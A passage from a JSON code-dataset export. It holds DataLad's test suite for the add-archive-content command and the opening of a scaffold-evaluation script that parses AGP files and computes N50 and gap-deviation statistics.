#assert_false(FileStatus() != FileStatus())\\n\"\n },\n {\n \"alpha_fraction\": 0.542140781879425,\n \"alphanum_fraction\": 0.5561943650245667,\n \"avg_line_length\": 37.415645599365234,\n \"blob_id\": \"1ec4260f07e55ad537e8b6fc1ffe10b23c435f8f\",\n \"content_id\": \"8a7b92e0f8c3bf11d173ec8b0ef9271980183aba\",\n \"detected_licenses\": [\n \"LicenseRef-scancode-unknown-license-reference\",\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 25047,\n \"license_type\": \"permissive\",\n \"max_line_length\": 116,\n \"num_lines\": 652,\n \"path\": \"/datalad/local/tests/test_add_archive_content.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Tests for add-archive-content command\\n\\n\\\"\\\"\\\"\\n\\n__docformat__ = 'restructuredtext'\\n\\nimport os\\nimport tempfile\\nfrom glob import glob\\nfrom os import unlink\\nfrom os.path import (\\n basename,\\n exists,\\n)\\nfrom os.path import join as opj\\nfrom os.path import (\\n lexists,\\n pardir,\\n)\\nfrom pathlib import Path\\n\\nfrom datalad.api import (\\n Dataset,\\n add_archive_content,\\n clean,\\n)\\nfrom datalad.consts import (\\n ARCHIVES_SPECIAL_REMOTE,\\n DATALAD_SPECIAL_REMOTES_UUIDS,\\n)\\nfrom datalad.support.exceptions import (\\n CommandError,\\n NoDatasetFound,\\n)\\nfrom datalad.support.external_versions import external_versions\\nfrom datalad.tests.utils_pytest import (\\n assert_cwd_unchanged,\\n assert_equal,\\n assert_false,\\n assert_in,\\n assert_in_results,\\n assert_not_in,\\n assert_raises,\\n assert_repo_status,\\n assert_result_values_cond,\\n assert_true,\\n create_tree,\\n eq_,\\n integration,\\n known_failure_windows,\\n ok_,\\n ok_archives_caches,\\n ok_file_has_content,\\n ok_file_under_git,\\n serve_path_via_http,\\n skip_if,\\n skip_if_adjusted_branch,\\n swallow_outputs,\\n with_tempfile,\\n with_tree,\\n xfail_buggy_annex_info,\\n)\\nfrom datalad.utils import (\\n chpwd,\\n find_files,\\n get_tempfile_kwargs,\\n getpwd,\\n on_windows,\\n rmtemp,\\n)\\n\\ntreeargs = dict(\\n tree=(\\n ('1.tar.gz', (\\n ('crcns_pfc-1_data', (('CR24A', (\\n ('behaving1', {'1 f.txt': '1 f load'}),)),)),\\n ('crcns_pfc-1_data', (('CR24C', (\\n ('behaving3', {'3 f.txt': '3 f load'}),)),)),\\n ('crcns_pfc-1_data', (('CR24D', (\\n ('behaving2', {'2 f.txt': '2 f load'}),)),)),\\n ('__MACOSX', (('crcns_pfc-2_data', (\\n ('CR24B', (\\n ('behaving2', {'2 f.txt': '2 f load'}),)),)\\n ),)),\\n ('crcns_pfc-2_data', (('__MACOSX', (\\n ('CR24E', (\\n ('behaving2', {'2 f.txt': '2 f load'}),)),)\\n ),)),\\n\\n )),\\n )\\n)\\n\\n\\n@assert_cwd_unchanged(ok_to_chdir=True)\\n@with_tree(**treeargs)\\n@serve_path_via_http()\\n@with_tempfile(mkdir=True)\\ndef test_add_archive_dirs(path_orig=None, url=None, repo_path=None):\\n # change to repo_path\\n with chpwd(repo_path):\\n # create annex repo\\n ds = Dataset(repo_path).create(force=True)\\n repo = ds.repo\\n # add archive to the repo so we could test\\n with swallow_outputs():\\n repo.add_url_to_file('1.tar.gz', opj(url, '1.tar.gz'))\\n repo.commit(\\\"added 1.tar.gz\\\")\\n\\n # test with excludes and annex options\\n add_archive_content('1.tar.gz',\\n existing='archive-suffix',\\n # Since inconsistent and seems in many cases no\\n # leading dirs to strip, keep them as provided\\n strip_leading_dirs=True,\\n delete=True,\\n leading_dirs_consider=['crcns.*', '1'],\\n leading_dirs_depth=2,\\n use_current_dir=False,\\n exclude='.*__MACOSX.*') # some junk penetrates\\n\\n eq_(repo.get_description(\\n uuid=DATALAD_SPECIAL_REMOTES_UUIDS[ARCHIVES_SPECIAL_REMOTE]),\\n '[%s]' % ARCHIVES_SPECIAL_REMOTE)\\n\\n all_files = sorted(find_files('.'))\\n # posixify paths to make it work on Windows as well\\n all_files = [Path(file).as_posix() for file in all_files]\\n target_files = {\\n 'CR24A/behaving1/1 f.txt',\\n 'CR24C/behaving3/3 f.txt',\\n 'CR24D/behaving2/2 f.txt',\\n '.datalad/config',\\n }\\n eq_(set(all_files), target_files)\\n\\n # regression test: the subdir in MACOSX wasn't excluded and its name was\\n # getting stripped by leading_dir_len\\n # if stripping and exclude didn't work this fails\\n assert_false(exists('__MACOSX'))\\n # if exclude doesn't work then name of subdir gets stripped by\\n # leading_dir_len\\n assert_false(exists('c-1_data'))\\n # if exclude doesn't work but everything else works this fails\\n assert_false(exists('CR24B'))\\n\\n# within top directory\\n# archive is in subdirectory -- adding in the same (or different) directory\\n\\ntree1args = dict(\\n tree=(\\n ('1.tar.gz', (\\n ('1 f.txt', '1 f load'),\\n ('d', (('1d', ''),)), )),\\n ('1u', {\\n '1.tar.gz': { # updated file content\\n '1 f.txt': '1 f load1'\\n }}),\\n ('2u', { # updated file content\\n '1.tar.gz': {\\n '1 f.txt': '1 f load2'\\n }}),\\n ('3u', { # updated file content\\n '1.tar.gz': {\\n '1 f.txt': '1 f load3'\\n }}),\\n ('4u', { # updated file content\\n '1.tar.gz': {\\n '1 f.txt': '1 f load4'\\n }}),\\n ('d1', (('1.tar.gz', (\\n ('2 f.txt', '2 f load'),\\n ('d2', (\\n ('2d', ''),)\\n )),),),),\\n )\\n)\\n\\ntree4uargs = dict(\\n tree=(\\n ('4u', { # updated file content\\n '1.tar.gz': {\\n '1 f.txt': '1 f load4',\\n 'sub.tar.gz': {\\n '2 f.txt': '2 f'\\n }\\n }}),\\n )\\n)\\n\\n\\n@xfail_buggy_annex_info\\n@known_failure_windows\\n# apparently fails only sometimes in PY3, but in a way that's common in V6\\n@assert_cwd_unchanged(ok_to_chdir=True)\\n@with_tree(**tree1args)\\n@serve_path_via_http()\\n@with_tempfile(mkdir=True)\\ndef test_add_archive_content(path_orig=None, url=None, repo_path=None):\\n with chpwd(repo_path):\\n # TODO we need to be able to pass path into add_archive_content\\n # We could mock but I mean for the API\\n\\n # no repo yet\\n assert_raises(NoDatasetFound, add_archive_content, \\\"nonexisting.tar.gz\\\")\\n ds = Dataset(repo_path).create()\\n res = ds.add_archive_content(\\\"nonexisting.tar.gz\\\", on_failure='ignore')\\n assert_in_results(res, action='add-archive-content',\\n status='impossible')\\n repo = ds.repo\\n\\n # we can't add a file from outside the repo ATM\\n res = ds.add_archive_content(Path(path_orig) / '1.tar.gz',\\n on_failure='ignore')\\n assert_in_results(\\n res,\\n action='add-archive-content',\\n status='impossible',\\n type=\\\"dataset\\\",\\n message=\\\"Can not add archive outside of the dataset\\\"\\n )\\n\\n # Let's add first archive to the repo so we could test\\n with swallow_outputs():\\n repo.add_url_to_file('1.tar.gz', opj(url, '1.tar.gz'))\\n for s in range(1, 5):\\n repo.add_url_to_file('%du/1.tar.gz' % s,\\n opj(url, '%du/1.tar.gz' % s))\\n repo.commit(\\\"added 1.tar.gz\\\")\\n\\n key_1tar = repo.get_file_annexinfo('1.tar.gz')['key'] # will be used in the test later\\n\\n def d1_basic_checks():\\n ok_(exists('1'))\\n ok_file_under_git('1', '1 f.txt', annexed=True)\\n ok_file_under_git(opj('1', 'd', '1d'), annexed=True)\\n ok_archives_caches(repo_path, 0)\\n\\n # and by default it just does it, everything goes to annex\\n res = add_archive_content('1.tar.gz')\\n assert_in_results(\\n res,\\n action='add-archive-content',\\n status='ok'\\n )\\n d1_basic_checks()\\n\\n # If ran again, should proceed just fine since the content is the same\\n # so no changes would be made really\\n res = add_archive_content('1.tar.gz')\\n assert_in_results(\\n res,\\n action='add-archive-content',\\n status='ok'\\n )\\n\\n # But that other one carries updated file, so should fail due to\\n # overwrite\\n res = add_archive_content(Path('1u') / '1.tar.gz',\\n use_current_dir=True, on_failure='ignore')\\n assert_in_results(\\n res,\\n action='add-archive-content',\\n status='error',\\n )\\n assert_in('exists, but would be overwritten by new file',\\n res[0]['message'])\\n # but should do fine if overrides are allowed\\n add_archive_content(Path('1u') / '1.tar.gz', existing='overwrite',\\n use_current_dir=True)\\n add_archive_content(Path('2u') / '1.tar.gz',\\n existing='archive-suffix', use_current_dir=True)\\n add_archive_content(Path('3u') / '1.tar.gz',\\n existing='archive-suffix', use_current_dir=True)\\n add_archive_content(Path('4u') / '1.tar.gz',\\n existing='archive-suffix', use_current_dir=True)\\n\\n # rudimentary test\\n assert_equal(sorted(map(basename, glob(opj(repo_path, '1', '1*')))),\\n ['1 f-1.1.txt', '1 f-1.2.txt', '1 f-1.txt', '1 f.txt'])\\n whereis = repo.whereis(glob(opj(repo_path, '1', '1*')))\\n # they all must be the same\\n assert(all([x == whereis[0] for x in whereis[1:]]))\\n\\n # and we should be able to reference it while under subdirectory\\n subdir = opj(repo_path, 'subdir')\\n with chpwd(subdir, mkdir=True):\\n add_archive_content(opj(pardir, '1.tar.gz'), dataset=ds.path,\\n use_current_dir=True)\\n d1_basic_checks()\\n # or we could keep relative path and also demand to keep the archive prefix\\n # while extracting under original (annex root) dir\\n add_archive_content(opj(pardir, '1.tar.gz'),\\n dataset=ds.path,\\n add_archive_leading_dir=True)\\n\\n with chpwd(opj(repo_path, '1')):\\n d1_basic_checks()\\n\\n with chpwd(repo_path):\\n # test with excludes and renames and annex options\\n ds.add_archive_content(\\n '1.tar.gz', exclude=['d'], rename=['/ /_', '/^1/2'],\\n annex_options=\\\"-c annex.largefiles=exclude=*.txt\\\",\\n delete=True)\\n # no conflicts since new name\\n ok_file_under_git('2', '1_f.txt', annexed=False)\\n assert_false(exists(opj('2', 'd')))\\n assert_false(exists('1.tar.gz')) # delete was in effect\\n\\n # now test ability to extract within subdir\\n with chpwd(opj(repo_path, 'd1'), mkdir=True):\\n # Let's add first archive to the repo so we could test\\n # named the same way but different content\\n with swallow_outputs():\\n repo.add_url_to_file('d1/1.tar.gz', opj(url, 'd1', '1.tar.gz'))\\n repo.commit(\\\"added 1.tar.gz in d1\\\")\\n\\n def d2_basic_checks():\\n ok_(exists('1'))\\n ok_file_under_git('1', '2 f.txt', annexed=True)\\n ok_file_under_git(opj('1', 'd2', '2d'), annexed=True)\\n ok_archives_caches(repo.path, 0)\\n add_archive_content('1.tar.gz', dataset=ds.path)\\n d2_basic_checks()\\n\\n # in manual tests ran into the situation of inability to obtain on a single run\\n # a file from an archive which was coming from a dropped key. I thought it was\\n # tested in custom remote tests, but I guess not sufficiently well enough\\n repo.drop(opj('1', '1 f.txt')) # should be all kosher\\n repo.get(opj('1', '1 f.txt'))\\n ok_archives_caches(repo.path, 1, persistent=True)\\n ok_archives_caches(repo.path, 0, persistent=False)\\n\\n repo.drop(opj('1', '1 f.txt')) # should be all kosher\\n repo.drop(key_1tar, key=True) # is available from the URL -- should be kosher\\n repo.get(opj('1', '1 f.txt')) # that what managed to not work\\n\\n # TODO: check if persistent archive is there for the 1.tar.gz\\n\\n # We should be able to drop everything since available online\\n with swallow_outputs():\\n clean(dataset=ds)\\n repo.drop(key_1tar, key=True) # is available from the URL -- should be kosher\\n\\n ds.drop(opj('1', '1 f.txt')) # should be all kosher\\n ds.get(opj('1', '1 f.txt')) # and should be able to get it again\\n\\n # bug was that dropping didn't work since archive was dropped first\\n repo.call_annex([\\\"drop\\\", \\\"--all\\\"])\\n\\n # verify that we can't drop a file if archive key was dropped and online archive was removed or changed size! ;)\\n repo.get(key_1tar, key=True)\\n unlink(opj(path_orig, '1.tar.gz'))\\n with assert_raises(CommandError) as e:\\n repo.drop(key_1tar, key=True)\\n assert_equal(e.kwargs['stdout_json'][0]['success'], False)\\n assert_result_values_cond(\\n e.kwargs['stdout_json'], 'note',\\n lambda x: '(Use --force to override this check, or adjust numcopies.)' in x\\n )\\n assert exists(opj(repo.path, repo.get_contentlocation(key_1tar)))\\n\\n\\n@integration\\n@assert_cwd_unchanged(ok_to_chdir=True)\\n@with_tree(**tree1args)\\n@serve_path_via_http()\\n@with_tempfile(mkdir=True)\\ndef test_add_archive_content_strip_leading(path_orig=None, url=None, repo_path=None):\\n with chpwd(repo_path):\\n ds = Dataset(repo_path).create(force=True)\\n repo = ds.repo\\n # Let's add first archive to the repo so we could test\\n with swallow_outputs():\\n repo.add_url_to_file('1.tar.gz', opj(url, '1.tar.gz'))\\n repo.commit(\\\"added 1.tar.gz\\\")\\n\\n add_archive_content('1.tar.gz', strip_leading_dirs=True)\\n ok_(not exists('1'))\\n ok_file_under_git(ds.path, '1 f.txt', annexed=True)\\n ok_file_under_git('d', '1d', annexed=True)\\n ok_archives_caches(ds.path, 0)\\n\\n\\n@assert_cwd_unchanged(ok_to_chdir=True)\\n@with_tree(tree={\\\"1.zip\\\": {\\\"dir\\\": {\\\"bar\\\": \\\"blah\\\"}, \\\"foo\\\": \\\"blahhhhh\\\"}})\\ndef test_add_archive_content_zip(repo_path=None):\\n ds = Dataset(repo_path).create(force=True)\\n with chpwd(repo_path):\\n with swallow_outputs():\\n ds.save(\\\"1.zip\\\", message=\\\"add 1.zip\\\")\\n add_archive_content(\\\"1.zip\\\")\\n ok_file_under_git(ds.pathobj / \\\"1\\\" / \\\"foo\\\", annexed=True)\\n ok_file_under_git(ds.pathobj / \\\"1\\\" / \\\"dir\\\" / \\\"bar\\\", annexed=True)\\n ok_archives_caches(ds.path, 0)\\n\\n\\n@with_tree(tree={\\\"ds\\\": {\\\"1.tar.gz\\\": {\\\"foo\\\": \\\"abc\\\"}},\\n \\\"notds\\\": {\\\"2.tar.gz\\\": {\\\"bar\\\": \\\"def\\\"}}})\\ndef test_add_archive_content_absolute_path(path=None):\\n ds = Dataset(opj(path, \\\"ds\\\")).create(force=True)\\n repo = ds.repo\\n ds.save(\\\"1.tar.gz\\\", message=\\\"1.tar.gz\\\")\\n abs_tar_gz = opj(path, \\\"ds\\\", \\\"1.tar.gz\\\")\\n add_archive_content(abs_tar_gz, dataset=ds)\\n ok_file_under_git(opj(path, \\\"ds\\\", \\\"1\\\", \\\"foo\\\"), annexed=True)\\n commit_msg = repo.format_commit(\\\"%B\\\")\\n # The commit message uses relative paths.\\n assert_not_in(abs_tar_gz, commit_msg)\\n assert_in(\\\"1.tar.gz\\\", commit_msg)\\n res = add_archive_content(opj(path, \\\"notds\\\", \\\"2.tar.gz\\\"),\\n dataset=ds, on_failure='ignore')\\n\\n assert_in_results(\\n res,\\n action='add-archive-content',\\n status='impossible',\\n message='Can not add archive outside of the dataset',\\n )\\n\\n\\n@assert_cwd_unchanged(ok_to_chdir=True)\\n@with_tree(**tree4uargs)\\ndef test_add_archive_use_archive_dir(repo_path=None):\\n ds = Dataset(repo_path).create(force=True)\\n with chpwd(repo_path):\\n # Let's add first archive to the repo with default setting\\n archive_path = opj('4u', '1.tar.gz')\\n # check it gives informative error if archive is not already added\\n res = add_archive_content(archive_path, on_failure='ignore')\\n message = \\\\\\n \\\"Can not add an untracked archive. Run 'datalad save 4u\\\\\\\\1.tar.gz'\\\"\\\\\\n if on_windows else \\\\\\n \\\"Can not add an untracked archive. Run 'datalad save 4u/1.tar.gz'\\\"\\n assert_in_results(\\n res,\\n action='add-archive-content',\\n message=message,\\n status='impossible')\\n\\n with swallow_outputs():\\n ds.save(archive_path)\\n\\n ok_archives_caches(ds.path, 0)\\n add_archive_content(archive_path, strip_leading_dirs=True,\\n use_current_dir=True)\\n ok_(not exists(opj('4u', '1 f.txt')))\\n ok_file_under_git(ds.path, '1 f.txt', annexed=True)\\n ok_archives_caches(ds.path, 0)\\n\\n # and now let's extract under archive dir\\n add_archive_content(archive_path, strip_leading_dirs=True)\\n ok_file_under_git(ds.path, opj('4u', '1 f.txt'), annexed=True)\\n ok_archives_caches(ds.path, 0)\\n\\n add_archive_content(opj('4u', 'sub.tar.gz'))\\n ok_file_under_git(ds.path, opj('4u', 'sub', '2 f.txt'), annexed=True)\\n ok_archives_caches(ds.path, 0)\\n\\n\\n@with_tree(\\n tree={\\n 'archives': {\\n '1.gz': '1',\\n '2.xz': '2',\\n '3.lzma': '3',\\n # TODO: add any other stream compression we might be supporting via 7zip or patool?\\n },\\n }\\n)\\ndef test_add_archive_single_file(repo_path=None):\\n ds = Dataset(repo_path).create(force=True)\\n with chpwd(repo_path):\\n archives = glob('archives/*')\\n ds.save(archives, message='Added archives')\\n\\n for archive in archives:\\n archive_name = os.path.splitext(archive)[0]\\n archive_content = os.path.basename(archive_name)\\n ds.add_archive_content(archive)\\n ok_file_has_content(archive_name, archive_content)\\n\\n\\nclass TestAddArchiveOptions():\\n # few tests bundled with a common setup/teardown to minimize boiler plate\\n # nothing here works on windows, no even teardown(), prevent failure at the\\n # origin\\n def setup(self):\\n repo_path = tempfile.mkdtemp(**get_tempfile_kwargs(prefix=\\\"tree\\\"))\\n create_tree(\\n repo_path,\\n {'1.tar': {'file.txt': 'load',\\n '1.dat': 'load2'}})\\n self.ds = ds = Dataset(repo_path)\\n ds.create(force=True)\\n self.annex = ds.repo\\n # Let's add first archive to the annex so we could test\\n ds.save('1.tar', message=\\\"added 1.tar\\\")\\n\\n def teardown(self):\\n # so we close any outstanding batch process etc\\n self.annex.precommit()\\n rmtemp(self.ds.path)\\n\\n def test_add_delete(self):\\n # To test that .tar gets removed\\n self.ds.add_archive_content('1.tar', strip_leading_dirs=True,\\n delete=True)\\n assert_false(lexists(self.ds.pathobj / '1.tar'))\\n\\n # git-annex regression\\n # https://git-annex.branchable.com/bugs/regression__58___annex_add_of_moved_file_errors_out/\\n @skip_if(\\n '10.20220525' <= external_versions['cmd:annex'] < '10.20220706', # approx when was fixed\\n msg=\\\"buggy git-annex release\\\"\\n )\\n def test_add_archive_leading_dir(self):\\n import os\\n os.mkdir(self.ds.pathobj / 'sub')\\n f123 = Path('sub') / '123.tar'\\n Path(self.ds.pathobj / '1.tar').rename(self.ds.pathobj / Path(f123))\\n self.annex.remove('1.tar', force=True)\\n self.ds.save(message=\\\"renamed\\\")\\n\\n self.ds.add_archive_content(\\n f123,\\n add_archive_leading_dir=True,\\n strip_leading_dirs=True\\n )\\n\\n ok_file_under_git(self.ds.path,\\n str(Path('sub') / '123' / 'file.txt'),\\n annexed=True)\\n\\n # https://github.com/datalad/datalad/issues/6187\\n @skip_if_adjusted_branch\\n def test_add_delete_after_and_drop(self):\\n # To test that .tar gets removed\\n # but that new stuff was added to annex repo. We know the key since\\n # default backend and content remain the same\\n key1 = 'MD5E-s5--db87ebcba59a8c9f34b68e713c08a718.dat'\\n repo = self.ds.repo\\n # previous state of things:\\n prev_files = list(find_files('.*', self.ds.path))\\n assert_equal(repo.whereis(key1, key=True, output='full'), {})\\n\\n commits_prior = list(repo.get_branch_commits_('git-annex'))\\n self.ds.add_archive_content('1.tar',\\n strip_leading_dirs=True, delete_after=True)\\n commits_after = list(repo.get_branch_commits_('git-annex'))\\n # There should be a single commit for all additions +1 to initiate\\n # datalad-archives gh-1258\\n # If faking dates, there should be another +1 because\\n # annex.alwayscommit isn't set to false.\\n assert_equal(len(commits_after),\\n # We expect one more when faking dates because\\n # annex.alwayscommit isn't set to false.\\n len(commits_prior) + 2 + repo.fake_dates_enabled)\\n assert_equal(prev_files, list(find_files('.*', self.ds.path)))\\n w = repo.whereis(key1, key=True, output='full')\\n assert_equal(len(w), 2) # in archive, and locally since we didn't drop\\n\\n # Let's now do the same but also drop content\\n self.ds.add_archive_content('1.tar',\\n strip_leading_dirs=True, delete_after=True,\\n drop_after=True)\\n assert_equal(prev_files, list(find_files('.*', self.ds.path)))\\n w = repo.whereis(key1, key=True, output='full')\\n assert_equal(len(w), 1) # in archive\\n\\n # there should be no .datalad temporary files hanging around\\n self.assert_no_trash_left_behind()\\n\\n def test_add_delete_after_and_drop_subdir(self=None):\\n os.mkdir(opj(self.annex.path, 'subdir'))\\n mv_out = self.annex.call_git(\\n ['mv', '1.tar', 'subdir']\\n )\\n self.annex.commit(\\\"moved into subdir\\\")\\n with chpwd(self.annex.path):\\n # was failing since deleting without considering if tarball\\n # was extracted in that tarball directory\\n commits_prior_master = list(self.annex.get_branch_commits_())\\n commits_prior = list(self.annex.get_branch_commits_('git-annex'))\\n add_out = self.ds.add_archive_content(\\n opj('subdir', '1.tar'),\\n delete_after=True,\\n drop_after=True)\\n assert_repo_status(self.annex.path)\\n if not self.annex.is_managed_branch():\\n # whole counting logic here is ignorant of adjusted branches\\n commits_after_master = list(self.annex.get_branch_commits_())\\n commits_after = list(self.annex.get_branch_commits_('git-annex'))\\n # There should be a single commit for all additions +1 to\\n # initiate datalad-archives gh-1258. If faking dates,\\n # there should be another +1 because annex.alwayscommit\\n # isn't set to false.\\n assert_equal(len(commits_after),\\n len(commits_prior) + 2 + self.annex.fake_dates_enabled)\\n assert_equal(len(commits_after_master), len(commits_prior_master))\\n # there should be no .datalad temporary files hanging around\\n self.assert_no_trash_left_behind()\\n\\n # and if we add some untracked file, redo, there should be no changes\\n # to master and file should remain not committed\\n create_tree(self.annex.path, {'dummy.txt': '123'})\\n assert_true(self.annex.dirty) # untracked file\\n add_out = add_archive_content(\\n opj('subdir', '1.tar'),\\n delete_after=True,\\n drop_after=True,\\n allow_dirty=True)\\n assert_repo_status(self.annex.path, untracked=['dummy.txt'])\\n assert_equal(len(list(self.annex.get_branch_commits_())),\\n len(commits_prior_master))\\n\\n # there should be no .datalad temporary files hanging around\\n self.assert_no_trash_left_behind()\\n\\n def assert_no_trash_left_behind(self):\\n assert_equal(\\n list(find_files(r'\\\\.datalad..*', self.annex.path, exclude=\\\"config\\\",\\n dirs=True)),\\n []\\n )\\n\\n @xfail_buggy_annex_info\\n def test_override_existing_under_git(self):\\n create_tree(self.ds.path, {'1.dat': 'load2'})\\n self.ds.save('1.dat', to_git=True, message='added to git')\\n self.ds.add_archive_content(\\n '1.tar', strip_leading_dirs=True,\\n )\\n # and we did not bother adding it to annex (for now) -- just skipped\\n # since we have it and it is the same\\n ok_file_under_git(self.ds.path, '1.dat', annexed=False)\\n\\n # but if we say 'overwrite' -- we would remove and replace\\n self.ds.add_archive_content(\\n '1.tar', strip_leading_dirs=True, delete=True\\n , existing='overwrite'\\n )\\n ok_file_under_git(self.ds.path, '1.dat', annexed=True)\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":390,"string":"390"}}},{"rowIdx":2978313,"cells":{"repo_name":{"kind":"string","value":"jim-bo/scafathon"},"repo_url":{"kind":"string","value":"https://github.com/jim-bo/scafathon"},"snapshot_id":{"kind":"string","value":"313b35b1d36ec5623f931f9e74f34745f428e040"},"revision_id":{"kind":"string","value":"9e5e059ee9ae74a2d16dc8b9356cf6e2bb8472fe"},"directory_id":{"kind":"string","value":"6a33f68ca49d7c3ff95aadabd2b9fb7980fd950a"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-01T16:25:00.712869","string":"2021-01-01T16:25:00.712869"},"revision_date":{"kind":"timestamp","value":"2014-02-25T17:33:59","string":"2014-02-25T17:33:59"},"committer_date":{"kind":"timestamp","value":"2014-02-25T17:33:59","string":"2014-02-25T17:33:59"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.5037604570388794,"alphanum_fraction":0.5210442543029785,"avg_line_length":23.13263511657715,"blob_id":"ff878cc9510ef048b68b1a742c6a9967b68a4f8b","content_id":"11be2c7d435fa5f3cdd2beda3049169f4b149460","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":13828,"license_type":"permissive","max_line_length":117,"num_lines":573,"path":"/utils/eval.py","repo_name":"jim-bo/scafathon","src_encoding":"UTF-8","text":"import os\nimport sys\nimport math\nimport numpy as np\nimport logging\nimport subprocess\nimport networkx as nx\n\n### definitions ###\nagp_dt = np.dtype([\\\n ('scaf_name', 'S255'),\\\n ('scaf_start', np.long),\\\n ('scaf_stop', np.long),\\\n ('scaf_idx', np.long),\\\n ('comp_type', 'S50'),\\\n ('comp_name', 'S255'),\\\n ('comp_start', np.long),\\\n ('comp_stop', np.long),\\\n ('comp_orien', np.long),\\\n ('comp_linkage', np.long),\\\n])\n\n### private functions ###\n\ndef _load_agp(fpath):\n ''' read agp file into array.'''\n\n # read in agp.\n fin = open(fpath, \"rb\")\n lines = fin.readlines()\n fin.close()\n\n # count number of lines minus comments.\n cnt = 0\n for line in lines:\n if line[0] != \"#\" and len(line) != 0 and line.strip().split()[0] != \"RUNTIME:\":\n cnt += 1\n\n # instantiate array.\n agp_edges = np.zeros(cnt, dtype=agp_dt)\n\n # parse agp.\n idx = 0\n for line in lines:\n # tokenize.\n if line[0] == \"#\": continue\n tmp = line.strip().split()\n if len(tmp) == 0: continue\n if tmp[0] == \"RUNTIME:\": continue\n\n # get general tokenize.\n agp_edges[idx]['scaf_name'] = tmp[0]\n agp_edges[idx]['scaf_start'] = int(float(tmp[1]))\n agp_edges[idx]['scaf_stop'] = int(float(tmp[2]))\n agp_edges[idx]['scaf_idx'] = int(float(tmp[3]))\n agp_edges[idx]['comp_type'] = tmp[4]\n\n # contig.\n if tmp[4] == \"W\":\n # get parts.\n agp_edges[idx]['comp_name'] = tmp[5]\n agp_edges[idx]['comp_start'] = int(tmp[6])\n agp_edges[idx]['comp_stop'] = int(tmp[7])\n if tmp[8] == \"+\":\n agp_edges[idx]['comp_orien'] = 0\n else:\n agp_edges[idx]['comp_orien'] = 1\n\n else:\n\n # save entry.\n agp_edges[idx]['comp_name'] = tmp[6]\n agp_edges[idx]['comp_start'] = 1\n agp_edges[idx]['comp_stop'] = int(tmp[5])\n if tmp[7] != \"yes\":\n agp_edges[idx]['comp_linkage'] = 0\n else:\n agp_edges[idx]['comp_linkage'] = 1\n\n\n # update index.\n idx += 1\n\n # shirnk array.\n agp_edges.resize(idx)\n\n return agp_edges\n\ndef _agp_graph(fpath, RG=None):\n ''' returns agp graph '''\n\n # load agp array.\n agp_edges = _load_agp(fpath)\n\n # make digraph.\n G = nx.DiGraph()\n\n # add nodes.\n for i in range(agp_edges.size):\n\n # skip contigs themselves.\n if agp_edges[i]['comp_type'] != 'W': continue\n\n # add node info.\n name = agp_edges[i]['comp_name']\n width = agp_edges[i]['comp_stop']\n orien = agp_edges[i]['comp_orien']\n start = agp_edges[i]['scaf_start']\n stop = agp_edges[i]['scaf_stop']\n scaf = agp_edges[i]['scaf_name']\n G.add_node(agp_edges[i]['comp_name'], {'width':width, 'orien':orien, 'start':start, 'stop':stop,'scaf':scaf})\n\n # add edges.\n for i in range(agp_edges.size):\n\n # skip contigs themselves.\n if agp_edges[i]['comp_type'] != 'N': continue\n if i == agp_edges.shape[0] - 1: continue\n\n # add sorted edges.\n ctg1 = agp_edges[i-1]['comp_name']\n ctg2 = agp_edges[i+1]['comp_name']\n gap = agp_edges[i]['comp_stop']\n\n G.add_edge(ctg1, ctg2, {'gap':gap})\n\n # if RG is supplied ensure all contigs exist.\n if RG != None:\n for n in RG.nodes():\n if G.has_node(n) == False:\n G.add_node(n, RG.node[n])\n\n # done.\n return G\n\ndef _uconn_N50(RG, TG):\n \"\"\" calcultes UCONN N50s\"\"\"\n\n # flip TG to be most consistent with RG.\n TG = _dag_flip(RG, TG)\n\n # calculate teh TPN50\n min_size = 1\n WG_REFN50 = _calculate_n50(RG, gap=True, min_size=min_size)\n NG_REFN50 = _calculate_n50(RG, gap=False, min_size=min_size)\n\n # calculate reported n50\n WG_N50 = _calculate_n50(TG, gap=True, min_size=min_size)\n NG_N50 = _calculate_n50(TG, gap=False, min_size=min_size)\n\n # remove edges not in TG.\n TG = _remove_difference(RG, TG)\n\n # calculate teh TPN50\n WG_TPN50 = _calculate_n50(TG, gap=True, min_size=min_size)\n NG_TPN50 = _calculate_n50(TG, gap=False, min_size=min_size)\n\n # yield results.\n return WG_N50, WG_TPN50, TG\n\ndef _compute_formula(true_adj, test_adj, n):\n ''' computes statistics when TG is already oriented. This\n method computes A and B exactly, but uses formulas\n to find C and D.'''\n\n # set vars.\n m = len(true_adj)\n N = n * (n-1)\n\n # compute the A statistic set.\n A = true_adj.intersection(test_adj)\n\n # compute the B statistic set.\n B = test_adj.difference(true_adj)\n\n # compute the C statistic set.\n C = m - len(A)\n\n # compute the D statistic set.\n D = N - m - len(B)\n\n # return categories.\n return len(A), len(B), C, D, A\n\n\ndef _gap_deviation(RG, TG):\n ''' calculate MAPE '''\n\n # find true edges.\n radj = set(RG.edges())\n tadj = set(TG.edges())\n edges = tadj.intersection(radj)\n\n # calculate MAPE.\n s = 0.0\n for e0, e1 in edges:\n At = RG[e0][e1]['gap']\n Ft = TG[e0][e1]['gap']\n if At != 0.0:\n s += abs(float(At - Ft) / float(At))\n\n # return it.\n try:\n return (100.0 / float(len(edges))) * s\n except:\n return -1.0\n\ndef _get_runtime(agp_file):\n\n # read in agp.\n fin = open(agp_file, \"rb\")\n lines = fin.readlines()\n fin.close()\n\n if len(lines) == 0:\n return -1.0\n\n if lines[-1].count(\"RUNTIME\") == 0:\n return -1.0\n\n # parse 